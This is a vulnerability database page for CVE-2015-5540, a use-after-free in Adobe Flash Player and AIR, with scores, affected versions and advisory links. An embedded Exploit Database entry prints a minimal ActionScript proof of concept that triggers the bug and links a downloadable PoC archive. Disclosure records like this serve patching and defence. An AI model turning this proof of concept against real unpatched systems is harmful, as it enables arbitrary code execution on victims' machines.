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CVE-2015-5540 : Detail

CVE-2015-5540

81.44%V3
Network
2015-08-13 23:00 +00:00
2018-01-04 18:57 +00:00
CVE.org
NVD

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Descriptions

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

Informations

Metrics

Metric Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 37859

Publication date : 2015-08-18 22:00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=365&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id If a watch is set on the childNodes object of an XML object, and then the XML object is manipulated in a way that causes its child nodes to be enumerated, the watch will trigger. If the function in the watch deletes all the child nodes, the buffer containing the nodes will be deleted, even though the original function will still access it when it unwinds. This can lead to a childnodes array in ActionScript containing pointers that can be specified by an attacker. A minimal POC is as follows: var doc:XML = new XML(); var rootNode:XMLNode = doc.createElement("rootNode"); var oldest:XMLNode = doc.createElement("oldest"); var middle:XMLNode = doc.createElement("middle"); var youngest:XMLNode = doc.createElement("youngest"); var youngest1:XMLNode = doc.createElement("youngest1"); var youngest2:XMLNode = doc.createElement("youngest2"); var youngest3:XMLNode = doc.createElement("youngest3"); // add the rootNode as the root of the XML document tree doc.appendChild(rootNode); // add each of the child nodes as children of rootNode rootNode.appendChild(oldest); rootNode.appendChild(middle); rootNode.appendChild(youngest1); rootNode.appendChild(youngest2); rootNode.appendChild(youngest3); // create an array and use rootNode to populate it var firstArray:Array = rootNode.childNodes; trace (firstArray.length); firstArray[0] = "test"; firstArray.watch("length", f); rootNode.appendChild(youngest); function f(a, b){ trace("in f " + a + " " + b + " " + c); if(b == 1){ firstArray.unwatch("length"); middle.removeNode(); oldest.removeNode(); youngest1.removeNode(); youngest2.removeNode(); youngest3.removeNode(); youngest.removeNode(); } for(var i = 0; i < 100; i++){ var b = new flash.display.BitmapData(100, 1000, true, 1000); var c = "aaaaaaaaaaaaa"; } trace("end length " + rootNode.childNodes.length); } A sample fla and swf are also attached. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37859.zip

Products Mentioned

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.209

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.180

Adobe>>Air_sdk >> Version To (including) 18.0.0.180

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.491

Linux>>Linux_kernel >> Version -

References

https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
https://www.exploit-db.com/exploits/37859/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1033235
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/76288
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-1603.html
Tags : vendor-advisory, x_refsource_REDHAT

More information
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